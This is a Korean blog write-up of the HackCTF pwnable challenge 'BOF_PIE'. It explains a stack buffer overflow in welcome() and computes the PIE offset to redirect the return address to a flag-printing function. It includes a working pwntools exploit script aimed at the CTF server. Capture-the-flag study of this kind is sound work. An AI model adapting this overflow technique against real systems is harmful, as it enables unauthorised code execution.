Pwnable/HackCTF

BOF_PIE

2020. 8. 28. 17:57

main 함수이다. welcome()을 function call 한다.

 

 

welcome() 함수이다. 문자열 두줄 출력 뒤 v1에 입력을 받는다.

 

j0n9hyun 함수는 flag를 출력하는 함수이다.

 

간단하게 welcome 함수의 RET을 j0n9hyun의 주소로 덮으면 될 것 같다. 각 함수들의 심볼들을 이용하여 offset을 계산한 뒤, j0n9hyun 함수의 주소를 payload에 넣으면 될 것 같다. (메모리 구조 생략)

 

다음과 같이 offset을 구한다. gdb 로 분석하였을 때 welcome 함수가 j0n9hyun 함수보다 상대적으로 고주소이기 때문에 welcome의 주소에서 offset을 빼주어 j0n9hyun 함수의 주소를 구하여 payload에 넣어준다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3008)
elf = ELF("./bof_pie.dms")

offset = elf.symbols['welcome'] - elf.symbols['j0n9hyun']

r.recvline()
r.recvuntil("is ")

welcome = int(r.recv(10), 16)
j0n9hyun = welcome - offset

payload = "\x90"*22
payload += p32(j0n9hyun)

r.sendline(payload)
r.interactive()

저작자표시 (새창열림)

'Pwnable > HackCTF' 카테고리의 다른 글

ROP  (0) 2020.08.28
RTL_World  (0) 2020.08.28
Offset  (0) 2020.08.28
내 버퍼가 흘러넘친다!!!  (0) 2020.08.28
Basic_FSB  (0) 2020.08.28
'Pwnable/HackCTF' 카테고리의 다른 글
  • ROP
  • RTL_World
  • Offset
  • 내 버퍼가 흘러넘친다!!!
Lucvs
Lucvs
Department of Computer Science and Engineering, 21th, Sungkyunkwan University
LucvsDepartment of Computer Science and Engineering, 21th, Sungkyunkwan University
Lucvs
Lucvs
Lucvs
전체
오늘
어제
  • 분류 전체보기
    • Lucvs
      • 훈련소 일기
      • 寿司
      • 영국 여행기
    • Pwnable
      • Techniques
      • FTZ
      • LOB
      • HackCTF
      • Dreamhack
      • pwnable.kr
      • CTF
    • Web Hacking
      • Techniques
      • Webhacking.kr
      • HackCTF
      • Dreamhack
      • LOS
    • Reversing
      • Dreamhack
    • Cryptography
      • Modern Cryptography
      • Algorithm
      • Differential Attack (차분 공격)
      • Linear Attack (선형 공격)
    • Forensic
      • Dreamhack
    • Programming
      • C
      • Python
      • Java
    • Deep Learning
    • Network
    • Project
    • Hardware
      • Raspberry Pi
      • Arduino

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • J
  • dreamhack
  • blind sql injection
  • 여행기
  • 군대
  • Los
  • Error-Based SQL Injection
  • 기본군사훈련단
  • 웹해킹
  • 런던
  • 훈련소
  • rev-basic
  • Differential Attack
  • 훈련소 일기
  • 기훈단
  • 차분 공격
  • lord of sql injection
  • 잉글랜드
  • dreamhack.io
  • 공군
  • Web Hacking
  • 차분 분석
  • 일기
  • SQL INJECTION
  • 군대 일기
  • 효전화
  • 드림핵
  • 공군 훈련소
  • Lord of SQL Injeciton
  • 영국

최근 댓글

최근 글

hELLO · Designed By 정상우.
Lucvs
BOF_PIE
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.